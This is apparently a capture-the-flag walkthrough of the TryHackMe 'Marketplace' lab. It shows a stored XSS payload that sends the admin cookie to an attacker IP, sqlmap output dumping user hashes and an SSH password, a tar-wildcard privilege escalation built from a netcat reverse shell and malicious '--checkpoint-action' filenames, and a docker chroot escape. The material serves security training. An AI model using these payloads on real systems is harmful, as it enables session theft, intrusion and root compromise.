CHALLENGE OVERVIEW
- Link: https://tryhackme.com/room/marketplace
- Difficulty: Medium
- Target: flag 1,
user.txt
,root.txt
- Highlight: cookie thievery to become admin on a website
- Tools:
cookie heist, sqlmap, docker
- Tags: web, xss, docker, sqli, tar wildcard exploit
BACKGROUND
In this box, we are tasked with pen-testing an internal server to check for bugs before releasing it to the public. Judging by the tags on this box, we will execute some cross-site scripting and pull off a bit of SQL command injection. Let’s get started!

ENUMERATION/RECON
export myIP=10.10.129.195
export targetIP=10.10.163.156
💡 Info: The walkthrough video includes several target IPs because I had to switch to the in-browser attack box part of the way through. I’m not sure why, but my VPN VM had serious stability issues with the target IP.
So far, we know that the sysadmin’s name is Michael. Maybe that will be a username.
NMAP RESULTS

nmap -A -p- 10.10.28.52 Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 08:33 EST Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 10.33% done; ETC: 08:37 (0:04:03 remaining) Nmap scan report for 10.10.28.52 Host is up (0.085s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA) | 256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA) |_ 256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519) 80/tcp open http nginx 1.19.2 | http-robots.txt: 1 disallowed entry |_/admin |_http-server-header: nginx/1.19.2 |_http-title: The Marketplace Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 238.51 seconds
WALK THE WEBSITE
We gather that this website is a storefront with a login page. We can easily create a new user and post a new item. Let’s check if this new item might be able to run a script on the user who views it.
COMMAND INJECTION PROOF OF CONCEPT
<script>hello there</script>
It works. Let’s use this to set up a script that will send us the admin’s cookie when they visit this item’s page.
USING COOKIE HEIST TO STEAL THE ADMIN’S COOKIE

To save a bit of time from scripting our own cookie-stealing program, let’s grab CookieHeist from the Git repo.
Next, we’ll set up a simple HTTP server with python3
to serve the cookieheist
PHP script
python3 -m http.server
And start our listener to catch the stolen cookie.
nc -lnvp 8888
Now that everything is in place, we can test our script by visiting the item’s page. On our listener, we catch our own token.
Now we will click on the report item
button. The admin should visit the page soon and then our heist will hopefully work as planned and the admin’s cookie will be sent to us on the listener.
It worked! Let’s copy the token value below. Next, we’ll prepare to use sqlmap
to dump the database.

SWAP THE COOKIES AND SWITCH TO ADMIN’S ACCOUNT
In our firefox browser, we can now log into ben’s account, and, in the developer tab, navigate to storage and cookies. Simply switch out the cookies and hit reload, and you will discover a new administration panel with users and our first flag!

DUMP THE DATABASE WITH SQLMAP

Next let’s do some local enumeration with sqlmap
. We will use the admin’s cookie again in our command.
sqlmap http://10.10.197.89/admin?user=3 --cookie='token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2Nzc4NTczMjN9.DcEFxcLEnU7NUtNJEseq70na-gkRdEXtqkOLhGzZxVU' --technique=U --delay=3 -dump
*The –delay=3
helps us evade some data protections in place that crash sqlmap
before it can extract anything.
___
__H__
___ ___[(]_____ ___ ___ {1.6.11#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 05:40:00 /2023-03-03/
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N]
[05:40:12] [INFO] testing connection to the target URL
[05:40:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[05:40:21] [INFO] heuristic (basic) test shows that GET parameter 'user' might be injectable (possible DBMS: 'MySQL')
[05:40:24] [INFO] testing for SQL injection on GET parameter 'user'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for o
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[05:40:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:41:02] [WARNING] reflective value(s) found and filtering out
[05:41:08] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[05:41:20] [INFO] target URL appears to have 4 columns in query
[05:42:12] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
[05:42:12] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[05:43:51] [CRITICAL] connection timed out to the target URL
[05:43:57] [INFO] GET parameter 'user' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[05:43:57] [INFO] checking if the injection point on GET parameter 'user' is a false positive
sqlmap identified the following injection point(s) with a total of 24 HTTP(s) requests:
---
Parameter: user (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: user=-5573 UNION ALL SELECT NULL,CONCAT(0x716a707871,0x736d5764774f6e48726c4a5579484373776c426e42494c6c58486379764f5a4a4d484e4f47546e53,0x71626a7071),NULL,NULL-- -
---
[05:47:20] [INFO] testing MySQL
[05:47:23] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[05:48:00] [INFO] confirming MySQL
[05:48:06] [INFO] the back-end DBMS is MySQL
web application technology: Express, Nginx 1.19.2
back-end DBMS: MySQL >= 8.0.0
[05:48:21] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:48:21] [INFO] fetching current database
[05:48:24] [INFO] fetching tables for database: 'marketplace'
[05:48:28] [INFO] fetching columns for table 'users' in database 'marketplace'
[05:48:31] [INFO] fetching entries for table 'users' in database 'marketplace'
Database: marketplace
Table: users
[4 entries]
+----+--------------------------------------------------------------+----------+-----------------+
| id | password | username | isAdministrator |
+----+--------------------------------------------------------------+----------+-----------------+
| 1 | $2b$10$83pRYaR/d4ZWJVEex.lxu.Xs1a/TNDBWIUmB4z.R0DT0MSGIGzsgW | system | 0 |
| 2 | $2b$10$yaYKN53QQ6ZvPzHGAlmqiOwGt8DXLAO5u2844yUlvu2EXwQDGf/1q | michael | 1 |
| 3 | $2b$10$/DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG | jake | 1 |
| 4 | $2b$10$UP9S8hhGQ4oam6K0iK35Ke.TLTN/fXWhj/Ak/MvnkUw1XksDWH9py | ben | 0 |
+----+--------------------------------------------------------------+----------+-----------------+
[05:48:34] [INFO] table 'marketplace.users' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/10.10.197.89/dump/marketplace/users.csv'
[05:48:34] [INFO] fetching columns for table 'items' in database 'marketplace'
[05:48:37] [INFO] fetching entries for table 'items' in database 'marketplace'
[05:48:40] [INFO] recognized possible password hashes in column 'image'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[05:48:49] [INFO] writing hashes to a temporary file '/tmp/sqlmapsc6t_j_x87459/sqlmaphashes-ro5_o25b.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: marketplace
Table: items
[3 entries]
+----+----------------------------------+--------------------------------------------------------------------------------------------------------+--------+-----------------------+
| id | image | title | author | description |
+----+----------------------------------+--------------------------------------------------------------------------------------------------------+--------+-----------------------+
| 1 | 867a9d1a2edc2995dca4b13de50fc545 | Dell Laptop | 2 | Good as new. |
| 2 | abffe546fb4cb740cc6b44f9e4c263df | A cactus | 3 | Yep, that's a cactus. |
| 3 | 598815c0f5554115631a3250e5db1719 | <script>document.location="http://10.6.2.23:8000/cookiesteal-simple.php?c=" + document.cookie</script> | 4 | d |
+----+----------------------------------+--------------------------------------------------------------------------------------------------------+--------+-----------------------+
[05:48:59] [INFO] table 'marketplace.items' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/10.10.197.89/dump/marketplace/items.csv'
[05:48:59] [INFO] fetching columns for table 'messages' in database 'marketplace'
[05:49:02] [INFO] fetching entries for table 'messages' in database 'marketplace'
Database: marketplace
Table: messages
[3 entries]
+----+---------+---------+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | is_read | user_to | user_from | message_content |
+----+---------+---------+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 1 | 3 | 1 | Hello!\r\nAn automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password.\r\nYour new password is: @b_ENXkGYUCAv3zJ |
| 2 | 1 | 4 | 1 | Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace! |
| 3 | 0 | 4 | 1 | Thank you for your report. We have reviewed the listing and found nothing that violates our rules. |
+----+---------+---------+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
[05:49:05] [INFO] table 'marketplace.messages' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/10.10.197.89/dump/marketplace/messages.csv'
[05:49:05] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 10 times
[05:49:05] [INFO] fetched data logged to text files under '/home/kalisurfer/.local/share/sqlmap/output/10.10.197.89'
[*] ending @ 05:49:05 /2023-03-03/
The info in bold above shows credentials for jake (user 3). Let’s try using these credentials to log in via SSH. jake:@b_ENXkGYUCAv3zJ
INITIAL FOOTHOLD
We are in as Jake! And we found the user flag!

LOCAL RECON
First, let’s check our sudo permissions with sudo -l
jake@the-marketplace:/home/marketplace$ sudo -l Matching Defaults entries for jake on the-marketplace: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User jake may run the following commands on the-marketplace: (michael) NOPASSWD: /opt/backups/backup.sh
Let’s try to switch users to michael
by leveraging the file backup.sh
and our special sudo permissions to run it as user michael
.
First let’s examine the code.
jake@the-marketplace:/opt/backups$ cat backup.sh
Output:
#!/bin/bash echo "Backing up files..."; tar cf /opt/backups/backup.tar *
As we can see, the backup.sh
script activates a tarball with a wildcard to copy everything in the directory. We can exploit this by adding empty files with filenames that resemble flags on the command backup.tar
to bypass some checkpoints.
TARBALL WILDCARD EXPLOIT

- First, let’s create a reverse shell and copy it to the
/opt/backups
directory.
echo "mkfifo /tmp/gdsio; nc 10.10.163.156 8888 0</tmp/gdsio | /bin/sh >/tmp/gdsio 2>&1; rm /tmp/gdsio" > shell.sh
- Create an empty file instructing tar to run the
shell.sh
file.
echo "" > "--checkpoint-action=exec=sh shell.sh"
- Create a second empty file to spoof the checkpoint 1 being reached.
echo "" > --checkpoint=1
- Let’s setup a Netcat listener on our attack machine to grab the reverse shell.
nc -lnvp 8888
- Activate the exploit by running
backup.sh
as user Michael with sudo.
sudo -u michael ./opt/backups/backup.sh
EXPLOIT
MAKE USE OF THE GTFObins ALPINE EXPLOIT
Now that we have caught the revshell as Michael, let’s poke around the filesystem a bit more.
We can see that we are running docker. We’ll have to break out of the docker container in order to catch our root flag. GTFObins suggests leveraging alpine to escape the container.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
FINAL THOUGHTS

In this box, the cookie-stealing technique showed how it is sometimes possible for malicious actors to gain quick access to another user’s or even an admin’s account on a website without even needing to know their password.
To me, this was the most impressive take-away from the box.

I am a freelance ethical hacker/penetration tester. I have extensive experience in penetration testing and vulnerability assessments on web apps and servers. I am also fluent in Mandarin and have 15 years of experience as an edTech integration specialist, curriculum designer, and foreign language teacher. Here’s my personal website.